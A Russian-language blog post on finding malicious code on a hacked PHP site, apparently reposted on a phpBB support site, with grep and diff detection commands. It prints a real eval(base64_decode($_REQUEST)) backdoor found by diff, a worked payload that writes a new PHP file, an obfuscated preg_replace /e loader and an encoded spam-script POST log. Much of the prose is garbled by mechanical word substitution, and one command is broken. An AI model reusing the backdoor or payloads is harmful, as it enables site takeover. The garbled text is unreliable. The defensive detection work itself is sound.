Главная
Блог разработчиков phpBB
 
+ 17 предустановленных модов
+ SEO-оптимизация форума
+ авторизация через соц. сети
+ защита от спама

Как узнать, что ваш PHP сайт был взломан

Anna | 31.05.2014 | нет комментариев

Сайт моего друга незадолго был взломан, на нем была запущена ветхая версия IP.Board, в которой есть уязвимость локального внедрения кода (local file inclusion). Данный пост не будет посвящен IP.Board либо иному php коду, он покажет, как обнаружить допустимо вредный php код на ваших серверах. Наконец, покажу пример того, что преступники могут загрузить на взломанный сайт.

Проверьте логи доступа

Что бы с чего-то начать, я бы хотел поделиться некоторыми записями из журнала доступа (access log) взломанного сайта моего друга.

IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"

Нужно Зачастую проверять журналы доступа на сервере, впрочем если вы не будете осмотрительны, URL такие как выше, которые на 1-й взор выглядят безвредно, могут пройти прямо мимо вас.

Два файла выше это загруженные взломщиком скрипты, как они туда попали, огромный роли не играет, так как код на всяких 2-х серверах, возможно, будет разным. Тем не менее, в данном определенном примере, уязвимость в устаревшей версии IP.Board была использована, и штурмующие сумели добавить свои личные скрипты в директории доступные для записи, такие как пользовательский каталог загрузки и каталог, в котором IP.Board хранит кэшированные изображения темы оформления. Это всеобщий вектор атаки, много людей изменяют права на эти каталоги на 777 либо дают им доступ на запись, подробнее об этом чуть позднее.

Разглядим подробнее приведенные выше строки журнала, ничего не цепляет вас?

Обратите внимание, что в журнале доступа POST запросы, а не GET запросы.
Скорее каждого, преступники хотели сделать журнал доступа больше незаметным, так как множество журналов не сберегают post данные.

Обнаружение вредных PHP файлов

Есть несколько методов, что бы выявить подозрительные php файлы на вашем сервере, вот самые лучшие.
Подсказка: эти команды, исполняйте из корневой директории вашего сайта.

Поиск незадолго измененных PHP файлов

Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, дальнейшая команда ищет все php файлы в нынешнем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, скажем mtime -14 в течении 2-х недель.

find . -type f -name '*.php' -mtime -7

Мой взломанный сервер возвратил такие итоги:

./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php

Все эти скрипты загружены преступником в директорию загрузки пользователя.
Примечание: эта команда будет выдавать ложные итоги, если вы сами изменяли php файлы в данных период времени. Следующие способы являются значительно больше результативными.

Искать все PHP файлы с подозрительным кодом

Это вдалеке не наилучший подход, следующие команды ищут php файлы содержащие штурмующие сценарии. Мы начнем с простого и получим огромнее с поддержкой расширенного поиска.

Первая проверка файлов которая содержит eval, base64_decode, gzinflate либо str_rot13.

find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

Подсказка: 1-й параметр поиска это директория поиска, точка обозначает нынешний каталог (и все вложенные каталоги). Дозволено изменить данный параметр в всякое существующее имя каталога для уменьшения итогов поиска, скажем:

find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color

Если вы удалите опцию -l из grep, он будет показывать текст совпавшего файла. Дабы пойти дальше я бы воспользовался этой объединенной командой, которая является больше всеобщей

find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color

Эта команда обнаружит php файлы содержащие eval(str_rot13(base64_decode(
Синтаксис grep дюже примитивен и вы можете изменить его под свои нужды. Взгляните на выражение сверху, по которому мы ищем, это «eval *(str_rot13 *(base64_decode *(»
Пробел дальнейший за * обозначает нуль либо больше символов пробела. Выше приведенное выражение будет объективно для следующих строк:

eval(str_rot13(base64_decode
eval( str_rot13( base64_decode
eval(  str_rot13( base64_decode

Совет: расширьте выражение для поиска функций, которые могут быть использованы злонамеренно, такие как mail, fsockopen, pfsockopen, stream_socket_client, exec, system и passthru. Дозволено скомбинировать все эти значения в одну команду:

find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *("

Примечание: мы используем egrep, а не grep, это разрешает применять расширенные регулярные выражения.
Наконец, вот не менее знаменитый метод, что бы спрятать код:

preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'5b19fxq30jD8d/wp5C3tQoMx4CQ

FILE GOES ON FOR A LONG TIME......

lnSELWEZJakW9R3f7 J uYuFiiC318gZ9P8C'x29x29x29x3B",".");

preg_replace с e модификатором будет исполнять данный код, он выглядит странно, впрочем это легко сжатый в формате base64 php код использующий некоторые шестнадцатеричные коды символов.
x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28 переводится как eval ( gzinflate ( base64_decode (, а x29x29x29x3B, как )) ) ;

Эта команда поможет вам обнаружить применение preg_replace:

find . -type f -name '*.php' | xargs egrep -i "preg_replace *((['|"])(.).*2[a-z]*e[^1]*1 *," --color

Совет: если вы получаете тонну итогов выполнения данной команды, дозволено сберечь итог в файл либо перенаправить их в иную программу под наименованием less, которая разрешает просматривать итоги по одной странице за раз. Клавиша f отвечает за прокрутку вперед, клавиша q за выход.

find . -type f -name '*.php' | xargs grep base64_ | less
find . -type f -name '*.php' | xargs grep base64_ > results.txt

С всякими выше приведенными командами поиска дозволено поступить в том же духе.

Совет обратили внимание на шестнадцатеричную x29 в конце? Это закрывающая скобка, а x3B точка с запятой. Вы можете удостовериться в этом запустив:

echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );

Можете применять find для поиска этих шестнадцатеричных кодов в php файлах для последующей проверки.

find . -type f -name '*.php' | xargs grep -il x29

Это отличный подход если вы знаете, что не используете в коде шестнадцатеричные значения.

Констатируем факты

Множество способов, полагают, что преступник загружает на север файлы и использует некоторые формы обфускации кода, когда другие преступники могут легко изменить присутствующий php код. В этом случае код может выглядеть безусловно и соответствовать жанру присутствующего сценария либо может быть запутанным.

Для того что бы решить эту задачу вам необходима чистая копия вашего кода, если вы пользуетесь обширно распространенными php скриптами, скажем wordpress, vbulletin, IP.Board и т.д. — все готово. Если нет, верю вы используете git либо другие системы контроля версий и вы можете получить чистую версию вашего кода.

Для этого примера я буду применять wordpress.

У меня есть две папки wordpress-clean, которая содержит только что скачанную копию wordpress и wordpress-compromised, которая содержит угрозу где-то в файлах.

drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar  2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised

Я могу обнаружить отличия между моим установленным wordpress и чистым wordpress, исполнив команду:

diff -r wordpress-clean/ wordpress-compromised/ -x wp-content

Я исключил wp-content из этого поиска, чай всякий имеет личные темы и плагины.
Совет: удостоверитесь, что вы используете ту же версию wordpress для сопоставления.

Вот итоги моего поиска:

diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.php wordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
> 
> if (isset($_REQUEST['x'])) {
>     eval(base64_decode($_REQUEST['x']));
> }

Он нашел вредный код!

Из любопытства…

Что может сделать преступник с этими 3 строками кода? Во-первых, атакующий узнал бы пригодную информацию:

$payload = "file_put_contents("../../wp-content/uploads/wp-upload.php", "<?phpnphpinfo();");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=

После этого он отправил бы GET либо POST запрос по адресу http:/ /YOURSITE/wp-admin/includes/class-wp-importer.php с параметром x содержащий сценарий сделанный выше. В итоге его выполнения будет сделан файл /wp-content/uploads/wp-upload.php, тот, что выводит информацию о вашем сервере. Это как бы не нехорошо, но дело в том что преступник может запустить всякий php код, тот, что пожелает.
Примечание: это сработает только если каталог wp-content/uploads будет доступен для записи. Примерно неизменно в зависимости от настроек веб сервера вы можете изменять права чтения/записи на другие файлы.

Неизменно ищите каталоги доступные для загрузки исполняемого кода

Применяя способы, которые представлены выше, легко обнаружить php код в вашей загрузочной директории. Для wordpress это было бы:

find wp-content/uploads -type f -name '*.php'

Совет: вот дюже примитивный bash скрипт, тот, что ищет директории доступные для записи и php файлы в них. Итог будет сохранен в файл results.txt. Скрипт работает рекурсивно.

#!/bin/bash

search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)

for dir in $writable_dirs
do
    #echo $dir
    find $dir -type f -name '*.php'
done

Назовите файл search_for_php_in_writable и дайте ему права на исполнение

chmod  x search_for_php_in_writable

Сбережете данный файл в вашем домашнем каталоге, а после этого перейдите в каталог в котором вы собираетесь искать и исполните следующую команду:

~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less

Примечание: если ваш сайт находится на виртуальном хостинге и веб-сервер не безвредно настроен, ваш сайт может оказаться не исключительным подверженным атаке. Всеобщая загрузка php shell на уязвимых сайтах, по существу является инструментом, тот, что дает преступнику файл-браузер. Они могут применять данный инструмент, что бы загрузить штурмующие скрипты по каждому папкам на сервере доступных для записи, скажем каталог загрузки.
Примечание: взломщики обыкновенно пытаются загрузить изображения, которые содержат php код, следственно проверяйте и другие растяжения, способами перечисленными выше.

find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php

Не верите? Данный файл был загружен как jpg изображение на взломанный сайт. Схоже он был ложно принят за бинарные данные. Вот тот же файл в больше «читаемом» формате.

Все еще не можете прочитать? Так же как и я до больше глубокой проверки. Каждый данный код предуготовлен для запуска этой функции:

if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
    function shutdownCallback() {
        echo "<!--".md5("links")."-->";
    }
    register_shutdown_function("shutdownCallback");
}

Что делает данный скрипт не имеет значения, вы обязаны усвоить, необходимо проверять ваше загрузочные директории.
Если вам увлекательно, это легко пробный сценарий, что бы увидеть, является ли узел уязвимым, нападение случилось позднее.

Где еще может скрываться вредный код?

Если ваш php код динамически генерирует содержимое страницы и ваш сайт был взломан, взломщик может записать вредный код в базу данных. Вы так же можете провести больше тщательную проверку.

Перейдите на ваш сайт, позже загрузки страницы посмотрите ее начальный HTML код и сбережете его где-то на вашем компьютере, скажем mywebsite.txt; Исполните следующую команду

grep -i '<iframe' mywebsite.txt

Взломщики Зачастую вставляют iframe на взломанные сайты, проверьте все страницы сайта!
Совет: используйте растяжение firebug для firefox, что бы просмотреть содержимое html вашего источника, преступник может применять javascipt для создание iframe, они не будут отображаться при просмотре начального кода страницы в браузере, потому что DOM изменяется позже загрузки страницы. Существует так же растяжение Live HTTP Headers для firefox, которое покажет все нынешние запросы на вашей странице. Это дозволит легко увидеть веб запросы, которых не должно быть.

Поиск в базе данных

Допустимо что преступник добавил код в базу данных. Это будет только в том случае если ваш скрипт хранит пользовательский код, скажем плагины, в базе данных. Так делает vBulletin. Правда это бывает редко, но вы обязаны это знать. Если вы в этом случае были взломаны, то преступник возможно вставить iframe в таблицы, которые отображают данные на вашем сайте.

В этом примере мы будем применять mysql либо его производные.

Для этого я бы хотел воспользоваться PHPMyAdmin и это для меня не обыкновенно, я выбираю применять инструменты командной строки, кода они доступны, впрочем данный инструмент является комфортным для поиска.

Лично я не запускаю PHPMyAdmin на рабочем сервере, я скачиваю копию базы данных и запускаю ее на локальном сервере. Если база данных огромная, не рекомендуется искать небольшие куски текста на рабочем сервере.

Откройте PHPMyAdmin выберите базу данных и нажмите ‘Search’. Вы можете искать такие строки как %base64_% и %eval(%, и всякие другие сочетания, которые я теснее высказал.

Проверьте .htaccess файлы, если вы используете Apache

Если вы используете веб-сервер Apache, проверьте .htaccess файлы на подозрительные метаморфозы.

auto_append_file и auto_prepend_file включают другие php файлы в начале либо в конце всех php скриптов, преступники могут применять их для включения своего кода.

find . -type f -name '.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '.htaccess' | xargs grep -i auto_append_file;

Дальнейшая команда ищет во всех подкаталогах файлы .htacсess, которые содержат ‘http’. Итогом поиска будет список всех правил перенаправлений, в которых могут быть и вредные правила.

find . -type f -name '.htaccess' | xargs grep -i http;

Некоторые вредные перенаправления основываются на основе user agent. Было бы не нехорошо поискать применения HTTP_USER_AGENT в .htaccess файлах. Предыдущие команды дозволено легко изменить, легко поменяйте ключевое слово перед точкой замятой.

Для возрастания яруса безопасности, если вы можете, отключите применение .htaccess в каталогах и переместите вашу конфигурацию в основную конфигурацию apache.

В «настоящем мире»

Выходит, отчего люди хотят взломать ваш сайт, что это значит для них? Для одних это хобби, а для других источник дохода.

Вот пример атакующего скрипта загруженного на взломанный сайт. Он основан экстраординарно на post операциях, множество логов веб серверов были бы непотребны в данном случае. Я сумел получить логи post запросов:

Array
(
    [lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
    [eIHSE] => PNxsDhxNdV
    [mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
    [dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m
a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn
LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw LWZr
dDwIPi1APAg cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq
ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy
anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi
UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei
InZjaWdsIiI LXI8CD4tUUBNRls8CA==

    [GGhp] => a3ZAbFFTSlJSbFo=
    [AIQXa] => e3VWT2VvQ0hyS0ha
)

Вредный скрипт в основном SPAM зомби, тот, что будет отправлять всякий email кому желательно, тот, что использует ваш сервер для отправки писем, через post запрос. Ключи в всяком post запросе могут изменятся и скрипт дюже находчивый, он проверяет установленные функции и приспосабливается к этому. Скажем если php mail() недостижим, он будет пытаться сделать сокет на 25 порту и отправлять электронную почту непринужденно через SMTP.

Если вам увлекательно расшифровать данные преступников, воспользуйтесь функцией которая именуется n9a2d8ce3. Таинственные данные POST проставляют адрес назначения и оглавление e-mail.

Если вы используете советы данные в этой статье, вам не составит труда найти сходственный скрипт.

Завершение

Если вы используете общедоступные php скрипты, как wordpress, обращайте внимание на скептические либо обновления для системы безопасности не только для базовой установки, но и для растяжений, таких как плагины. Множество нападающих будут пытаться обнаружить тысячи сайтов с знаменитыми уязвимостями, так что если вы уязвимы, вас обнаружат в конце концов.

Если вы трудитесь над шабашкой, все равно код необходимо непрерывно проверять, чай не должно быть уязвимостей в библиотеках, которые вы используете.

Источник: programmingmaster.ru

Оставить комментарий
Форум phpBB, русская поддержка форума phpBB
Рейтинг@Mail.ru 2008 - 2017 © BB3x.ru - русская поддержка форума phpBB